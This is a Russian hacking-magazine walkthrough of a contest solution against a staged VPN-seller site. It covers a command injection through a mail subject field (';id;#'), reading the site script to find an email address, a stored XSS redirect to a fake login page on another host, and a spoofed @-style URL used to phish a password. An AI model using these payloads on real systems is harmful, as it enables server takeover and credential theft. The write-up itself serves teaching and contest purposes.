Пора подводить итоги прошедшего месяца, приятель. К
сожалению, тогда получился облом с рутанием unix-сервера
и эту затею мы были вынуждены ненадолго отложить. В
октябрьском конкурсе тебе необходимо было похакать
незадачливых барыг, которые предоставляют VPN-сервис. В
качестве начальной мишени атаки выступал сайт
www.padonak.ru, на котором находилась страничка с формой
обратной связи для пользователей сервиса. Как несложно
догадаться, все сообщения, вбиваемые в эту форму, либо
записываются в базу данных, либо отправляются на мыло.
Ввод разнообразных комбинаций кавычек, ключевых слов и
символов sql-комментариев ни к чему не привел, в
результате чего должна была задориться мысль, что, либо
все данные фильтруются, либо сообщение просто
отправляется на мыло и все твои кавычки никого не
тревожат. Первый вариант не рассматривается, поскольку
скрипт в нашем конкурсе по определению бажный. Баг был
на самой поверхности: e-mail сообщение почему-то
отсылается при помощи вызова программы mail через
функцию system(). Поскольку баклан-программист при этом
решил не фильтровать ни единого символа, сценарий
получился просто находкой для таких, как ты.
Перебрав все комбинации, легко было найти нужную: в
поле «Тема» надо было вбить что-то вроде ;id;#. Здесь id
– это выполняемая команда. Смотри, что при этом
происходит.
Мыло отправляется таким образом:
echo ‘$message’|mail –s $subject blah@xakep.ru
Несложно понять, какая выполнится команда, если
вместо $subject вставить указанную выше
последовательность символов.
Некоторые люди, которые проходили конкурс, зачем-то
на этом этапе заливали web-шелл; некоторые бакланы
вообще удаляли весь сайт. А делать надо было следующее:
получить из бажного сценария мыло, по которому
отправляются данные, и попробовать его поломать. Сделав
cat index.php ты бы легко узнал, что все данные из формы
летят на мыло homsa.toft@gmail.com. Поломать это мыло –
вот основная задача. Вбив его в icq-поиске, можно было
найти нужный контакт. И info этого юзера было прямым
текстом написано, что он читает все сообщения в борде
www.icq.com/boards/browse_folder.php?tid=8085 и любит
пофлеймить. Вполне, на мой взгляд, логично, что надо
найти дырку в этом форуме и через нее утащить пароль.
Это вот никто довольно долго сделать не мог, хотя баг
был, опять-таки, на самой поверхности. Стоило только при
создании темы вбить любой тег, как сразу становилось
понятно, что этот форум подвержен CSS-багу. Подробности
этой уязвимости и историю ее обнаружения тебе лучше
почитать в статье в этом номере, я расскажу только, что
надо было сделать.
Необходимо было создать тему, при заходе в которую
происходит редирект на поддельную страницу авторизации
на форуме, размещенную на левом хосте. Что-то вроде
того: <script>location.href='http://xakep.ru/lo.php'</script>
Еще надо было заспуфить этот реальный адрес, хотя бы
таким образом: www.icq.com/lala(побольше символов)/login.php@xakep.ru/lo.php
Доверчивый Федя прочел бы твое сообщение и без
проблем ввел бы свой пароль в левую форму, после чего в
твои руки попал бы пароль к его почте, где находилось
письмо с информацией о VPN-аккаунте, который выступал в
роли приза за прохождение этого конкурса. |